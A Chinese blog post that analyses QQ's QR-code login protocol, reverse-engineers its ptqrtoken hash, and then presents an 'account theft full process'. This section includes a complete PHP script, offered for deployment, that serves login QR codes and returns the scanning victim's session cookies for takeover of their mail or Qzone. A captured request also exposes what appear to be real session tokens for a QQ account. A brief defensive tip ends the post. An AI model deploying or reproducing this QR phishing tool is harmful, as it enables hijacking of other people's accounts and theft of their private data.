相关阅读

杂谈

最近QQ的盗号事件属实是太离谱了,很多热心网友表示自己号被盗之后直接在学校或者朋友群里“社死”

大概图片类似下面这样的,一张美女图片配上拙略的白色文字,上面有一些奇妙的网址……

图片[1]-为什么最近盗号频发?QQ二维码认证机制 最后附QQ盗号的过程演示-FancyPig's blog

然后,还有热心网友分享了某群的热心群主奇葩的操作,上一秒还在叮嘱热心网友,下一秒自己就暴毙了……

图片[2]-为什么最近盗号频发?QQ二维码认证机制 最后附QQ盗号的过程演示-FancyPig's blog

最后还有各种热心网友在群里借此调侃,什么肯德基疯狂星期四啦,蔡徐坤啦,B站付费番剧的梗全来了

真是一种奇妙的文化……

最后,QQ在微博上也进行了相关的回复,点击阅读

图片[6]-为什么最近盗号频发?QQ二维码认证机制 最后附QQ盗号的过程演示-FancyPig's blog

正文内容

下面开始正文内容,今天来借此聊一聊QQ二维码认证的缺陷

我们打开以QQ邮箱为例,QQ邮箱入口

接下来你可以使用BurpSuite配合浏览器抓包

BurpSuite抓包

相关工具

抓包过程

我们可以打开浏览器,进入QQ邮箱的链接

 

图片[7]-为什么最近盗号频发?QQ二维码认证机制 最后附QQ盗号的过程演示-FancyPig's blog

然后选择Intercept is on

这里我们就可以看到qrsig参数了

不断点Forward,你会发现它会一直发送请求来获取验证码状态,我们可以将其send to repeater

ptuiCB(’66’,‘0’,,‘0’,‘二维码未失效。(133187324)’, )

算法分析

然后我们发现一个很有趣的事情,这里如果用QQ号进行了扫码,关掉浏览器再重新打开的时候,QQ的参数好像会存在Cookieuin

GET /ptqrlogin?u1=https%3A%2F%2Fwx.mail.qq.com%2Flist%2Freadtemplate%3Fname%3Dlogin_jump.html%26target%3D%26ss%3D1&ptqrtoken=1981830483&ptredirect=0&h=1&t=1&g=1&from_ui=1&ptlang=2052&action=101656317019299&js_ver=22062417&js_type=1&login_sig=HGiqYka6T1fp8Qw2D3ste5rpdHEfnTlcsJO4zAYOFl2fCfdPov5qso0RbZs41r7M&pt_uistyle=25&aid=522005705&daid=4&&o1vId=430adb6d3ee59e5c38945f59374f47f3 HTTP/1.1
Host: ssl.ptlogin2.qq.com
Cookie: pgv_pvid=859533072; _tc_unionid=1376e82c-9476-45ac-9c16-e888ef2b4a0f; pac_uid=0_6cdad9795aea8; pt_login_sig=HGiqYka6T1fp8Qw2D3ste5rpdHEfnTlcsJO4zAYOFl2fCfdPov5qso0RbZs41r7M; pt_clientip=f5f1de800ecde135; pt_serverip=a2fc0991b2d27271; pt_local_token=-551264286; uikey=ae26c85367114ca3a8b5cdf27420d1ca4077af5f4fb5faac47495a2b187127c9; pt_guid_sig=b3d88e3354a20313d19b92a8bce48703a636138d26ec5862a0c9d43c14a23f39; qrsig=c792a51a4a31e4b12b419f02b7abb4c343eaaae7165f6dc7ef1e79d67451c0698d197b77bdf7f3a589dd1ec270d4e9df21392cb69d9d463c; pt2gguin=o1123785821; ETK=; uin=o1123785821; skey=@akXFDNZS7; superuin=o1123785821; supertoken=1150127270; superkey=z4cYlv1lLj8wTO-4oMNZ-i0bIObZJrVDebqQQygCFSI_; pt_recent_uins=95bbbe782143b89d5e653e525133a8d41d6bf27447c1cad16b97867ca1982a28bb375dd4aea51679a6f2f8f4ddeccf598f71f3c6460eab4b; RK=fyf0V0+FRx; ptnick_1123785821=266e6273703b266e6273703b266e6273703b2061262333393be3829e20e9a39ee7bf9435e58fb7; ptcz=674d96d15bfe5947f2785ffa5c7e8ccea56eeb3b072a38a0b96241a4e95edd2d; dlock=4_1656316970_2_
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://xui.ptlogin2.qq.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-site
Te: trailers
Connection: close

上面请求包里最重要的两个参数就是

  • qrsig
  • ptqrtoken

ptqrtoken是qrsig对应的token

我们可以在访问QQ邮箱页面时,按F12,然后选择控制台

清晰图片链接:

https://wy-1308483560.cos.ap-shanghai.myqcloud.com/2022/06/20220627082328387.png?imageMogr2/format/webp/interlace/1/quality/100|watermark/2/text/cWluMC5jbg/font/dGFob21hLnR0Zg/fontsize/48/fill/IzAwMDAwMA/dissolve/80/gravity/southeast/dx/20/dy/10

https://static.iculture.cc/wp-content/uploads/2022/06/20220627082328387.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10

 

点开c_login_2.js可以查看详细的代码,我们可以搜索ptqrlogin查看它是如何生成的

 

可以看到ptqrtoken是通过hash33算法生成的

i.ptqrtoken=k[“default”].str.hash33(k[“default”].cookie.get(“qrsig”))

为了方便搜索阅读,我们可以将上面的代码在新的标签页打开

如果你找不到,我们将链接提供在了下方,您可以搜索进行验证

https://qq-web-legacy.cdn-go.cn/any.ptlogin2.qq.com/v1.32.3/ptlogin/js/c_login_2.js

搜索hash33关键词

可以发现其算法如下

function(t) {
for (var e = 0,
n = 0,
o = t.length; n < o; ++n) e += (e << 5) + t.charCodeAt(n);
return 2147483647 & e
}

如何验证这个算法是正确的呢?

我们将其封装并填入在控制台的输入里

function a(t){
for(var e=0,i=0,n=t.length;
i<n;++i)e+=(e<<5)+t.charCodeAt(i);
return 2147483647&e}

同时寻找一个现成的请求

可以看到这里qrsig的值为

40dd96a76e5fdc9f91ddca932d64d2f40c52ccc2f4969eb0d8ae8b1bb5110a8d260a4bfc304af6f13c8445d9214a4d3299755ad915014d5d

我们同时记录url

 

https://ssl.ptlogin2.qq.com/ptqrlogin?u1=https://wx.mail.qq.com/list/readtemplate?name=login_jump.html&target=&ss=1&ptqrtoken=1300443533&ptredirect=0&h=1&t=1&g=1&from_ui=1&ptlang=2052&action=0-0-1656319724261&js_ver=22062417&js_type=1&login_sig=otCqWAINA29ic3xHgc6lxAfOy*q7WiTyEQe2folwtcE66-HRtLL5pBStAtE*Tp5E&pt_uistyle=25&aid=522005705&daid=4&&o1vId=c06f0c7ffec8e1b1ab4cc26737147717

然后我们在控制台里填入函数,并输出经过计算后的ptqrtoken

 

里计算结果为

1300443533

对比发现没错,算法是精准的

流程总结

因此完整的流程可以归纳为

  • 获取二维码和qrsig值
  • 根据qrsig值计算ptqrtoken
  • 一直发送qrsig、ptqrtoken来确认验证码状态(未失效?认证中?已失效?)
  • 如果有人扫码并确认,则返回成功的结果。如果扫码未确认或者超时,则重复上述步骤

 

应用案例一:QQ空间批量下载相册

有了上面的流程,可以说是个双刃剑

对于一些热心网友的开发,比方说扫码登录就是一个很不错的应用

我们之前给大家分享过用Go语言开发的QQ空间相册批量下载的程序

其中扫描二维码登录空间的核心代码如下

// 检查用户是否扫描成功以及是否登录成功
func (q *Qzone) ifLogin(ptqrtoken string, loginSig string, qrsig string) (string, error) {
  header := make(map[string]string)
  header["user-agent"] = USER_AGENT
  header["cookie"] = fmt.Sprintf("qrsig=%s;", qrsig)
  url := fmt.Sprintf("https://ssl.ptlogin2.qq.com/ptqrlogin?u1=%s&ptqrtoken=%v&ptredirect=0&h=1&t=1&g=1&from_ui=1&ptlang=2052&action=%v&js_ver=21010623&js_type=1&login_sig=%v&pt_uistyle=40&aid=549000912&daid=5&has_onekey=1", iurl.QueryEscape("https://qzs.qq.com/qzone/v5/loginsucc.html?para=izone"), ptqrtoken, q.action(), loginSig)

  _, b, err := ihttp.Get(url, header)
  if err != nil {
    return "", errors.New(err.Error())
  }

  return string(b), nil
}

// 随机数
func (q *Qzone) t() string {
  return strconv.FormatFloat(rand.Float64(), 'g', -1, 64)
}

// 获取二维码
func (q *Qzone) getQRC() (http.Header, error) {
  url := "https://ssl.ptlogin2.qq.com/ptqrshow?appid=549000912&e=2&l=M&s=3&d=72&v=4&t=" + q.t() + "&daid=5&pt_3rd_aid=0"
  resp, err := http.Get(url)
  if err != nil {
    return nil, err
  }
  defer resp.Body.Close()

  file, err := os.OpenFile(QRCODE_SAVE_PATH, os.O_RDWR|os.O_CREATE, 0666)
  if err != nil {
    return nil, err
  }
  defer file.Close()

  _, err = io.Copy(file, resp.Body)
  if err != nil {
    return nil, err
  }

  return resp.Header, nil
}

// 获取login_sig参数
func (q *Qzone) getLoginSig() (string, error) {
  url := "https://xui.ptlogin2.qq.com/cgi-bin/xlogin?proxy_url=https://qzs.qq.com/qzone/v6/portal/proxy.html&daid=5&&hide_title_bar=1&low_login=0&qlogin_auto_login=1&no_verifyimg=1&link_target=blank&appid=549000912&style=22&target=self&s_url=https://qzs.qq.com/qzone/v5/loginsucc.html?para=izone&pt_qr_app=手机QQ空间&pt_qr_link=https://z.qzone.com/download.html&self_regurl=https://qzs.qq.com/qzone/v6/reg/index.html&pt_qr_help_link=https://z.qzone.com/download.html&pt_no_auth=0"
  resp, err := http.Get(url)
  if err != nil {
    return "", errors.New(err.Error())
  }
  resp.Body.Close()

  setCookies := resp.Header.Values("Set-Cookie")
  if len(setCookies) < 1 {
    return "", errors.New("获取login_sig参数错误,请稍后重试")
  }

  var loginSig string
  for _, val := range setCookies {
    if strings.Contains(val, "pt_login_sig=") {
      s := strings.Split(val, ";")
      for _, v := range s {
        if strings.Contains(v, "pt_login_sig=") {
          loginSig = strings.Replace(v, "pt_login_sig=", "", 1)
        }
      }
    }
  }

  if loginSig == "" {
    return "", errors.New("获取login_sig参数错误,请稍后重试")
  }

  return loginSig, nil
}

/**
 * 获获取ptqrttoken参数
 * header http.Header 将获取二维码接口的headers传进来
 */
func (q *Qzone) ptqrtoken(qrsig string) string {
  e := 0
  for i := 0; i < len(qrsig); i++ {
    e += (e << 5) + int(qrsig[i])
  }

  return strconv.Itoa(2147483647 & e)
}

// 获取action参数
func (q *Qzone) action() string {
  return fmt.Sprintf("0-0-%d", time.Now().Unix()*1000)
}

// 登录成功,验证进入空间的签名
func (q *Qzone) credential(url string) (map[string]string, error) {
  req, err := http.NewRequest("GET", url, nil)
  if err != nil {
    return nil, err
  }

  client := &http.Client{}
  client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
    return http.ErrUseLastResponse
  }

  resp, err := client.Do(req)
  if err != nil {
    return nil, err
  }
  defer resp.Body.Close()

  var (
    p_skey string
    needs  = []string{"uin", "skey", "p_uin", "pt4_token", "p_skey"} // 需要从set-cookie取的参数
    cookie = make([]string, 0)
  )

  setCookies := resp.Header.Values("Set-Cookie")
  for _, val := range setCookies {
    c := strings.Split(strings.Split(val, ";")[0], "=")
    name := c[0]
    value := c[1]
    for _, ckey := range needs {
      if name == ckey && value != "" {
        if ckey == "p_skey" {
          p_skey = value
        }
        cookie = append(cookie, fmt.Sprintf("%s=%s", name, value))
      }
    }
  }

  res := make(map[string]string)
  res["g_tk"] = q.gtk(p_skey)
  res["cookie"] = strings.Join(cookie, "; ")

  return res, nil
}

// 获取登录成功之后的g_tk参数
func (q *Qzone) gtk(skey string) string {
  h := 5381
  for i := 0; i < len(skey); i++ {
    h += (h << 5) + int(skey[i])
  }

  return strconv.Itoa(h & 2147483647)
}

 

应用案例二:QQ盗号全过程

当然,如果碰到一些内心比较阴暗的网友,也会通过二维码的机制,在别人不小心扫码登陆后,在空间发布恶意内容!我们今天给大家讲解一下完整过程,其实我们之前分享过详细的代码。

我们今天进行一个具体的演示,代码会在最后进行分享

投递二维码获取Cookie

我们可以访问下面的链接

https://www.iculture.cc/demo/qq_login/?type=get

然后你会发现下面的代码为

  • qrsig就是我们上面讲的
  • qr_code是二维码图片
{“state”:200,“info”:{“qrsig”:“2f414f8f0dd3a75d3e466690f4373868466290a5a3112dbf9c215bc8c00d3744c6e33a77e948bfa28fef957a088e639f83311e57ef70c375”,“qr_code”:“data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAG8AAABvAQAAAADKvqPNAAAACXBIWXMAAAsTAAALEwEAmpwYAAABX0lEQVQ4jbXVsY3EIBAF0LEInNkNINGGM1oyDZh1A7stkdEGEg2YjADt3Ge1e9IF53FwZznwc2LmM4OJf1z0h2xEeqhpjmkl8hI9mxL0tpjCTeQ6mqdN05Lx8gL1XBtdpgt8u0bPemC9kXbvRZ4R9brY7+/yfyfia5vNezWfYE/YfKSV2kTmRq/vnpE5tGlsjvNzUSzxZtUjJhfJ1yyxrTbfrSbKhUXyfTEHqb2i3guktC5qj6jWiCyBJkqeaY5KYhsiH6PZQ9osi0SSLugJTRiyyJnThJd4xjZJdEHdx1yqerySPOcQc4loWj0zi9zI7Iw8sbYsEruzszqWfktEkqZUJJkPK5PxXDGSWFOW2MhqVzFlRKPIPgs0YtZ6/l5gn7LJ9uH91HtGnDmH7d3lQ/IScTIMAeGjw9sFmhL5uSClvkciMWhoQiKZWNUj4GTAuMnsJzACDwkL8wL/7TfxBcSUvNoJAA25AAAAAElFTkSuQmCC”}}

我们复制qr_code后面的

data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAG8AAABvAQAAAADKvqPNAAAACXBIWXMAAAsTAAALEwEAmpwYAAABZ0lEQVQ4jbXVsa2EMAwAUKMUdJcFImWNdKwECxBY4FgpXdawlAVIlyI6f+fu35d+cTHF/4iC1+DY2Abo1wV/yApgdDE+4AzgJXqyFMzqKFMVOY/2HCu4lIO5QKMDrqO6SF/o7uwVejIz1BXs+5A9cr5LbPdP+p/J5avzpDZQ78J2WH2E1VUf7AbPuD3SHnAg0JQeDiS2su8xHRF1SSTx5qomjqJ2Ekm5qKPYPdAJ6CUeBYegzsm+0u+yVSYHXKK6j0mkJjoCZ835kkTaJkXRPtrXTxLrEBEAFn4uVqQm8BGXoqiQRDqnOoTKs6NbX0l8Rrk79Tpkl3WhlGPaC66ci0AOZG6A3CrnmETmwJOL4HAFkXUoZnZcSa6QyDYLmlQu3OfGC2xTNkNbC8sz3z65vXOEG8/jBfJm4A4fCr/ktaD6tKez/DVztHSBe1QUEEYSyafaptQ6dpLJ+a4Oefvp8F2cz/y338QXGrPEVDS7khQAAAAASUVORK5CYII=

我们可以复制到浏览器打开

 

图片[18]-为什么最近盗号频发?QQ二维码认证机制 最后附QQ盗号的过程演示-FancyPig's blog

然后让热心网友扫码

然后我们通过下面的链接进行查询结果

 

 

https://iculture.cc/demo/qq_login/?type=result&qrsig=2f414f8f0dd3a75d3e466690f4373868466290a5a3112dbf9c215bc8c00d3744c6e33a77e948bfa28fef957a088e639f83311e57ef70c375

未失效代表的是二维码还没有扫

如果扫过了之后这里会出现对方的Cookie,拿到了Cookie基本上就可以登录QQ邮箱了!

你可以通过cookie-editor或者其他插件修改cookie登录QQ邮箱或者QQ空间

图片[21]-为什么最近盗号频发?QQ二维码认证机制 最后附QQ盗号的过程演示-FancyPig's blog

这里我们就不再深入探讨了,您如果有想法可以在评论区留言!

其实代码之前就分享过,这里再分享一次,您可以上传到网站目录下,使用index.php命令

<?php
error_reporting(0);
header(‘content-type:application/json’);
function request_http($url, $type=0, $post_data=, $ua=‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Edg/84.0.522.58’, $cookie=, $header=array(), $redirect=true){
// 初始化curl
$curl = curl_init();
// 设置网址
curl_setopt($curl,CURLOPT_URL, $url);
// 设置UA
if (empty($ua) == false) {
$header[] = ‘User-Agent:’.$ua;
}
// 设置Cookie
if (empty($cookie) == false) {
$header[] = ‘Cookie:’.$cookie;
}
// 设置请求头
if (empty($ua) == false or empty($cookie) == false or empty($header) == false) {
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
}
// 设置POST数据
if($type == 1){
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data);
}
// 设置重定向
if ($redirect == false) {
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
}
// 过SSL验证证书
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
// 将头部作为数据流输出
curl_setopt($curl, CURLOPT_HEADER, true);
// 设置以变量形式存储返回数据
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
// 请求并存储数据
$return = curl_exec($curl);
// 分割头部和身体
if (curl_getinfo($curl, CURLINFO_HTTP_CODE) == ‘200’) {
$return_header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE);
$return_header = substr($return, 0, $return_header_size);
$return_data = substr($return, $return_header_size);
}
// 关闭cURL
curl_close($curl);
// 返回数据
return [$return_header, $return_data];
}
function return_result($state, $info) {
$result = array(
‘state’=>$state,
‘info’=>$info
);
exit(stripslashes(json_encode($result, JSON_UNESCAPED_UNICODE)));
}
function get_middle_text($text, $text_left, $text_right) {
$left = strpos($text, $text_left);
$right = strpos($text, $text_right, $left);
if ($left < 0 or $right < $left) {
return False;
};
return substr($text, $left + strlen($text_left), $right – $left – strlen($text_left));
}
function get_ptqrtoken($qrsig) {
$len = strlen($qrsig);
$hash = 0;
for ($i = 0; $i < $len; $i++) {
$hash += (($hash << 5) & 2147483647) + ord($qrsig[$i]) & 2147483647;
$hash &= 2147483647;
}
return $hash & 2147483647;
}
function get_result_data($qrsig){
$state_data = request_http(‘https://ssl.ptlogin2.qq.com/ptqrlogin?u1=https://qzs.qzone.qq.com/qzone/v5/loginsucc.html?para=izone&from=iqq&ptqrtoken=’.get_ptqrtoken($qrsig).‘&ptredirect=1&h=1&t=1&g=1&from_ui=1&ptlang=2052&action=0-0-‘.time().‘&js_ver=10233&js_type=1&login_sig=’.$qrsig.‘&pt_uistyle=40&aid=549000912&daid=5’, null, null, null, ‘qrsig=’.$qrsig)[1];
if (strpos($state_data, ‘未失效’) == true) {
return ‘未失效’;
}
elseif (strpos($state_data, ‘认证中’) == true) {
return ‘认证中’;
}
elseif (strpos($state_data, ‘登录成功’) == true) {
$ptuicb_url = get_middle_text($state_data, “‘0′,’0’,'”, “‘,’1’,”);
$ptuicb_header = request_http($ptuicb_url, null, null, null, null, null, false)[0];
$cookie = ‘uin=’.get_middle_text($ptuicb_header, ‘uin=’, ‘;’).‘;skey=’.get_middle_text($ptuicb_header, ‘skey=’, ‘;’).‘;p_uin=’.get_middle_text($ptuicb_header, ‘p_uin=’, ‘;’).‘;p_skey=’.get_middle_text($ptuicb_header, ‘p_skey=’, ‘;’).‘;pt4_token=’.get_middle_text($ptuicb_header, ‘pt4_token=’, ‘;’);
return [‘已登录’, $cookie];
}
elseif (strpos($state_data, ‘已失效’) == true) {
return ‘已失效’;
}
}
function get_login_data(){
$return = request_http(‘https://ssl.ptlogin2.qq.com/ptqrshow?appid=549000912&e=2&l=M&s=3&d=72&v=4&t=’.time().‘&daid=5&pt_3rd_aid=0’);
$qrsig = get_middle_text($return[0], ‘qrsig=’, ‘;’);
$qr_code = ‘data:image/jpeg;base64,’.base64_encode($return[1]);
return [$qrsig, $qr_code];
}
$TYPE = $_REQUEST[‘type’];
$QRSIG = $_REQUEST[‘qrsig’];
if (empty($TYPE) == true or ($TYPE != ‘get’ and empty($QRSIG) == true)) {
return_result(100, ‘参数错误’);
}
elseif ($TYPE == ‘get’) {
$login_data = get_login_data();
$result = array(
‘qrsig’=>$login_data[0],
‘qr_code’=>$login_data[1]
);
return_result(200, $result);
}
elseif ($TYPE == ‘result’) {
$result_data = get_result_data($QRSIG);
if (is_string($result_data) == True) {
$result = $result_data;
}
else{
$result = array(
‘state’=>$result_data[0],
‘cookie’=>$result_data[1]
);
}
return_result(200, $result);
}
else{
return_result(100, ‘类型错误’);
}
?>

防范措施

建议您对于QQ邮箱启用独立验证码

图片[22]-为什么最近盗号频发?QQ二维码认证机制 最后附QQ盗号的过程演示-FancyPig's blog

设置方法:在设置>账户>账户安全中

设置好独立密码

建议您对于QQ邮箱启用独立验证码

原文链接:https://www.iculture.cc/knowledge/pig=18682

 

https://www.iculture.cc/knowledge/pig=18682

——本页内容已结束,喜欢请分享——